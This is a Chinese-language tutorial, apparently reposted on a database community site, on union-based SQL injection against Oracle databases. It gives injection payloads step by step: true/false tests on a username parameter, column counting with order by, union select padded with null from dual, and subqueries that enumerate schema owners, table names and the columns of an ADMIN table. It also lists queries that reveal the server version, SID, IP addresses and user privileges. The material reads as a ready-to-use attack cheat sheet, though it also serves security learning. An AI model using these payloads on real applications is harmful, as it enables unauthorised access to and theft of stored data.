联合注入
注释符号
-- 单行注释
/**/ 多行注释
判断是否存在注入
and 1=1 --
and 1=2 --
此处 username字段是字符串,所以需要 单引号进行闭合
username=SMITH' and '1'='1
username=SMITH' and '1'='2复制
猜解列数
order by
username=SMITH' order by 8 --复制
联合查询
oracle对列的类型比较严谨,所以要用 null 来匹配任意类型
Oracle中的dual表是一个单行单列的虚拟表
在Oracle中是实际存在的,任何用户都可以读取,所以可以用过这个dual表来显示列数。
username=SMITH' union select null,null,null,null,null,null,null,null from dual --复制
Oracle查询信息
有些语句需要较高权限
1.当前用户权限 select * from session_roles
2.当前数据库版本 select banner from sys.v_$version where rownum=1
3.服务器出口IP 用 utl_http.request可以实现
4.服务器监听IP select utl_inaddr.get_host_address from dual
5.日志文件 select member from v$logfile where rownum=1
6.服务器sid select instance_name from v$instance
7.当前连接用户 select sys_context('userenv','current_user') from dual
8.当前用户 select user from dual复制
常见的查询语句
当前用户
select user from dual
列出所有用户
select username from all_users order by username
列出库
select distinct owner from all_tables
列出表
select table_name from all_tables
列出表的所有列
select column_name from user_tab_columns where table_name='库名'
定位文件
select name from v$datafile复制
查库名
库名表名列名一定要是大写的
union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual --
union select null,(select owner from all_tables where rownum=1 and owner <>'SYS'),null,null,null,null,null,null from dual --复制
查表名
union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual --
union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual --复制
查列名
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'USERNAME' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --复制
文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。
评论
相关阅读
【纯干货】Oracle 19C RU 19.27 发布,如何快速升级和安装?
Lucifer三思而后行
709次阅读
2025-04-18 14:18:38
Oracle RAC 一键安装翻车?手把手教你如何排错!
Lucifer三思而后行
637次阅读
2025-04-15 17:24:06
Oracle数据库一键巡检并生成HTML结果,免费脚本速来下载!
陈举超
550次阅读
2025-04-20 10:07:02
【ORACLE】你以为的真的是你以为的么?--ORA-38104: Columns referenced in the ON Clause cannot be updated
DarkAthena
497次阅读
2025-04-22 00:13:51
【活动】分享你的压箱底干货文档,三篇解锁进阶奖励!
墨天轮编辑部
496次阅读
2025-04-17 17:02:24
【ORACLE】记录一些ORACLE的merge into语句的BUG
DarkAthena
491次阅读
2025-04-22 00:20:37
一页概览:Oracle GoldenGate
甲骨文云技术
472次阅读
2025-04-30 12:17:56
火焰图--分析复杂SQL执行计划的利器
听见风的声音
420次阅读
2025-04-17 09:30:30
3月“墨力原创作者计划”获奖名单公布
墨天轮编辑部
373次阅读
2025-04-15 14:48:05
OR+DBLINK的关联SQL优化思路
布衣
361次阅读
2025-05-05 19:28:36